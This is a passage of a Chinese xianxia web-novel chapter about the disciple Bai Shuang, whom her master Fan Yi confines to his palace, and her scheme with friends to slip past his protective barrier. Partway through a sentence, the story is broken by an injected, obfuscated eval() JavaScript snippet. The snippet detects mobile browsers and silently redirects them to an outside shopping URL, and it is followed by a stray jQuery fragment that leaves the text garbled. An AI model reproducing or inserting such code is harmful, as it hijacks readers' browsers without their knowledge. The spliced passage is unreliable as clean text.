经此一遭,白霜彻底安分下来。
凌云大比后弟子书院的课业也都已结束,白霜便一直待在坠月宫中,一待就是十天半个月。
不是白霜不想出去耍,实在是梵弈对她看管得太严。
现在白霜在坠月宫中是吃了睡睡了吃活得不像一个人。
梵弈白天逮着她老实吃饭,还在坠月宫布下法阵,她要是偷溜出去,他会第一时间知道,然后就是更加严格的约束。
梵弈看着一脸不情愿的女孩:“我会帮霜儿找母亲,但在此之前霜儿就在坠月宫待着。”
白霜心里咬牙切齿但面上又不敢表现出来,只能咽下这口气。
一天晚上,白霜在床上翻来覆去睡不着,下床开始打扫屋子。
她懒平时都是一个清洁术简单了事,今晚却心血来潮动手打扫起房屋。
一番折腾,白霜打扫完屋子还是没有睡意,便将衣箱里的衣裳翻出来洗。
衣裙、里衣、裙裤以及一件刚换下来的小兜。
白霜上后山泉水处浣衣,泉水与沐浴的池子离得很近中间只隔着一片兰草地,池水那头的景色看得一清二楚。
不知怎的池水中的阵法不灵了。
梵弈上身不着寸缕,骨骼硬朗肌理分明的男性躯体出现在白霜视线中,腰部精悍一看就富有爆发力,水滴顺着后背的曲线隐没入水中。
白霜刹那间气血上涌,大脑晕乎乎像烧开了的沸水。
可好巧不巧,梵弈此时突然转过身来,与女孩打了个照面。
“!!!”
女孩惊愣一瞬随即爆发出一声尖叫:“啊!”
白霜见师尊盯着自己,才后知后觉尖叫出声,抱着篮子哆哆嗦嗦一路跑下山。
梵弈披上衣裳,深沉的目光落在不远处草地上一抹鲜艳的红色小衣。
白霜“嘭”一声关上门,急忙倒水喝,像是想到什么,又上前将已经关好的门从里面锁死,做完一切才放下心来。
衣服是洗不成了,还是施个洁净室术吧。
白霜一件件施术,才发现自己的小兜不见了,翻遍了篮子都没找到。
八成是落在了泉水那里。
白霜就要折返回去找,犹豫一下又迟迟迈不开脚步。
万一师尊还没沐浴完又撞上了怎么半,白霜决定还是等晚一点再去。
白霜坐椅子上支着脑袋,迷迷糊糊睡去又醒来。都这么晚了师尊应该早就不在后山了。
白霜打起精神着急忙慌赶回泉水处找了一圈却没找到她的小兜。
不对呀,她记得当时就是在这看见师尊洗澡的,应该也是掉这里了,但兰草地上除了层层叠叠的绿草什么也没有。
不是掉在这里难不成是在回去的时候掉山路上了。
白霜沿着山路一路往回找还是没找到她的小兜。
白霜绝望了,要是一路上都没有的话,不是被后山的精灵捡走就是被师尊捡走。可不管是哪个都不是白霜愿意面对的结果。
一晚上的折腾白霜终于将自己折腾困了,睡意来袭时白霜还在想自己的小肚兜,只能明天问问师尊可有在何处见到过她的小兜。
梵弈头一次在清晨见到自己小徒弟起这么早。
白霜犹犹豫豫开口:“师尊你昨晚可有见到······”
梵弈看着欲言又止的女孩。
白霜豁出去了:“师尊昨天晚上在后山可有见到一件红色的小兜。”
小兜是女孩的贴身衣物,原本是不能随意与外人提及,但白霜管不了这么多了,昨天后山泉水处就她与师尊去过,白霜不得不向梵弈询问。
梵弈瞥见女孩耳尖通红,语气平静道:“未见过。”
白霜松口气,看来是被哪个路过的小精灵拾了去。
两人用过早饭梵弈便被人叫走。
云霄议政大殿,身着白金帝袍的天帝负手而站,身后一道飘渺的仙影出现。
梵弈踏空而至,问道:“天帝召我前来所谓何事。”
天帝转身:“最近魔族越发猖獗,下界魔气大增,吾想请你前去溟渊查看封印是否有松动迹象,顺便探查下魔族残部的动静。”
梵弈颔首,近期天地之气运行躁动,怕是多半与魔族有关。
天帝顿了顿道:“你收的那个徒弟她最近如何,吾听闻此次凌云大比她与蓝鹤拿了并列第一。”
梵弈:“小徒性格顽劣,这几日罚她在坠月宫中静心。”
天帝闻言像是想起了什么笑了笑:“小孩子活泼了些也是再正常不过,仙君多海涵便是。”
白霜借着流苏树树枝搭了个卧塌,四条坚固的绳索牢牢捆在树上把一张容下一人的软塌吊离地面。
白霜往榻上一躺,悠哉悠哉地晃起二郎腿。
梵弈回来便看见女孩晃在半空的双腿。
白霜听见脚步声便知道师尊回来了,坐起上半身开心道:“师尊回来了。”
梵弈看着女孩的笑脸,她早上还在为找不到小兜发愁现在就将这事抛去九霄云外,又心血来潮在树下做起卧榻。
梵弈:“我要离开坠月宫两天,这期间你自己在宫中好生待着。”
师尊要离开两天,这不就意味着没人看着她,她可以出去耍了。
白霜刚开始兴奋就被泼了盆冷水清醒清醒。
梵弈看穿她的小心思:“我会布下禁制并让青承在这两天照看你。”
白霜哭丧着脸:“师尊你别下禁制,我决不乱跑捣乱就和去找夕绵与蓝鹤在一起玩。”
梵弈不信:“要是任由你随意出入难保你不跑到下界,要是遇到危险为师无法及时赶回救你。”他说这句话的时候语声轻柔,下面的话却愈发泛起寒意:“霜儿趁为师不在很难忍住不到处乱跑要是在哪处被迷了眼不肯回来可怎么办。”
白霜心虚,别开视线:“怎么会我是这种人吗。”
梵弈:“霜儿难道不是吗?”
白霜:“······”
青承接到梵弈的传音,让他这两天照看白霜。
青承心里嘀咕还用的着专门让他去看着,这么大个人自己还照顾不了自己?
虽然如此,青承还是将此事应下,他前往坠月宫发现梵弈竟然设下了禁制,怎么看怎么像防贼。
流苏树下白霜翘着腿,小塌在她的带动下一晃一晃发出吱嗝吱嗝的声响。
白霜穿了一件白玉衣衫,长发编成辫子从小塌上垂下,随着小塌摇晃荡漾起轻扬的弧度。
青承如何也想不出梵弈为何要在宫中布下禁制,仙界无人敢来坠月宫找他徒弟的麻烦,难不成这禁制防的是里面的女孩。
白霜见青承仙君到来,很有礼貌的跳下小塌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892704|212787||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“青承仙君好!”
“嗯。”
看着乖巧懂事的女孩,青承心中琢磨不透,白霜看起来柔柔弱弱的哪能让梵弈设下禁制如此提防。
青承百思不得其解。
白霜笑嘻嘻开口:“青承仙君能让夕绵来坠月宫陪我一起玩吗?”
让两个女孩再一起也省事许多,青承答应下来。
隔了许久白霜与夕绵再次相见,两人女孩开心坐在一起谈天说地。
女孩子间的谈话没啥好听的,青承便自己四处逛逛没有管他们。
青承仙君一离开白霜就对夕绵抱怨自己老待在坠月宫要无趣死了,可怜巴巴:“夕绵~我想吃下界云梦山那家福满楼的烤肉。”
夕绵听她这么一说嘴里也没滋味,师尊青承烧的饭菜虽然能吃但比起人间烟火的味道还差个十万八千里。
夕绵:“我其实也想去下界,但你师尊交代了务必看好你,人间一时半会是去不了的。”
白霜狡黠一笑:“我们偷偷下去再偷偷回来不就行了,这样你我的师尊都发现不了。”
夕绵:“可有这坠月宫的禁制我两人都破不了。”
白霜:“找蓝鹤问问说不定他能破。”
两人画了个传影符传影蓝鹤,少年正坐在书房中看书,空中浮现两个女孩朝他这边张望的影像。
蓝鹤抬头便看见白霜与夕绵坐在树下惊喜地同他打招呼。
白霜:“蓝鹤你想不想去人间吃烤肉。”
蓝鹤:“现在吗?”
夕绵:“嗯嗯。”
蓝鹤:“好,你两人也一起去吗?”
白霜:“我们都去。”
蓝鹤:“我去找你们。”
白霜连忙道:“等等先别急。”白霜小跑到宫门口的禁制旁问道:“蓝鹤这个禁制你可能破?”
蓝鹤仔细瞧了瞧,白霜那边有一层近乎透明的禁制隔绝了整个坠月宫。
蓝鹤皱起眉:“以我现在的法力还不能破处这个禁制,除非······”
“除非什么?”
蓝鹤:“除非找到整个禁制的最薄弱处我们三人合力或许可以将其撕开一道裂缝。”
白霜抓狂挠了把头,这么麻烦,她这个师尊真是的一点也不信任她。
夕绵摇了摇白霜手臂:“你快想想哪里会是禁制最薄弱处。”
白霜支着下巴想了想,整个坠月宫除了正殿通往外面的宫门还联通着外界一处的就是······
后山!
白霜:“我们去后山。”
两个女孩急急忙忙回到内院,白霜回屋子背了个包将小橘塞包里便带着夕绵往后山赶去。
青承闲逛一圈回来看见两个女孩手拉手匆匆忙忙不知要去做何事。
青承眯眼问道:“你二人这事要去哪?”青承看了眼白霜身后的包:“还背着包。”
夕绵被抓包都不敢直视自家师尊,揪着身上的衣衫。
白霜比夕绵好多了,她说谎话不眨眼:“我与夕绵要去后山泡温泉,青承仙君也要管着吗。”
青承挑眉:“泡温泉你背着包做什么?”
白霜想也不想:“包里装着泡完澡要换的衣裳。”
青承看了夕绵一眼,摆摆手放行。
两人一道跑开,彼此相视一笑,糊弄过去了。